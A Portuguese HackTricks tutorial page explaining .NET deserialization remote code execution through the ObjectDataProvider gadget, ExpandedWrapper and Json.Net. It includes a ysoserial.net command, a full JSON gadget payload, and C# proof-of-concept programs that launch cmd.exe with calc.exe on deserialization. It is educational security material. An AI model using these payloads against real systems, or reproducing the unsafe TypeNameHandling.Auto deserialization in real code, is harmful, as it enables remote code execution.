12 KiB
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.
Este post é dedicado a entender como o gadget ObjectDataProvider é explorado para obter RCE e como as bibliotecas de serialização Json.Net e xmlSerializer podem ser abusadas com esse gadget.
Gadget ObjectDataProvider
Da documentação: a classe ObjectDataProvider envolve e cria um objeto que você pode usar como uma fonte de ligação.
Sim, é uma explicação estranha, então vamos ver o que essa classe tem de tão interessante: Esta classe permite envolver um objeto arbitrário, usar MethodParameters para definir parâmetros arbitrários e, em seguida, usar MethodName para chamar uma função arbitrária do objeto arbitrário declarado usando os parâmetros arbitrários.
Portanto, o objeto arbitrário executará uma função com parâmetros enquanto é desserializado.
Como isso é possível
O ObjectDataProvider é definido e implementado no namespace System.Windows.Data, que está localizado no PresentationFramework.dll (C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF).
Usando o dnSpy, você pode inspecionar o código da classe que nos interessa. Na imagem abaixo, estamos vendo o código de PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nome do método
Como você pode observar, quando MethodName
é definido, base.Refresh()
é chamado, vamos dar uma olhada no que ele faz:
Ok, vamos continuar vendo o que this.BeginQuery()
faz. BeginQuery
é substituído por ObjectDataProvider
e é isso que ele faz:
Observe que no final do código ele está chamando this.QueryWorke(null)
. Vamos ver o que isso executa:
Observe que este não é o código completo da função QueryWorker
, mas mostra a parte interessante dela: O código chama this.InvokeMethodOnInstance(out ex);
esta é a linha onde o método definido é invocado.
Se você quiser verificar que apenas definindo o MethodName ele será executado, você pode executar este código:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Observação: é necessário adicionar como referência C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll para carregar System.Windows.Data
ExpandedWrapper
Usando o exploit anterior, haverá casos em que o objeto será desserializado como uma instância de ObjectDataProvider (por exemplo, na vulnerabilidade do DotNetNuke, usando XmlSerializer, o objeto foi desserializado usando GetType
). Então, não teremos conhecimento do tipo de objeto que está encapsulado na instância de ObjectDataProvider (Process
, por exemplo). Você pode encontrar mais informações sobre a vulnerabilidade do DotNetNuke aqui.
Essa classe permite especificar os tipos de objetos dos objetos encapsulados em uma determinada instância. Portanto, essa classe pode ser usada para encapsular um objeto de origem (ObjectDataProvider) em um novo tipo de objeto e fornecer as propriedades de que precisamos (ObjectDataProvider.MethodName e ObjectDataProvider.MethodParameters).
Isso é muito útil para casos como o apresentado anteriormente, porque seremos capazes de **envolver o **ObjectDataProvider dentro de uma instância de ExpandedWrapper e quando desserializado, essa classe irá criar o objeto OjectDataProvider que irá executar a função indicada em MethodName.
Você pode verificar este wrapper com o seguinte código:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Na página oficial, é indicado que esta biblioteca permite serializar e desserializar qualquer objeto .NET com o poderoso serializador JSON do Json.NET. Portanto, se pudermos desserializar o gadget ObjectDataProvider, poderíamos causar uma RCE apenas desserializando um objeto.
Exemplo Json.Net
Antes de tudo, vamos ver um exemplo de como serializar/desserializar um objeto usando esta biblioteca:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Abusando do Json.Net
Usando o ysoserial.net, criei o exploit:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Neste código, você pode testar o exploit, basta executá-lo e você verá que uma calculadora é executada:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.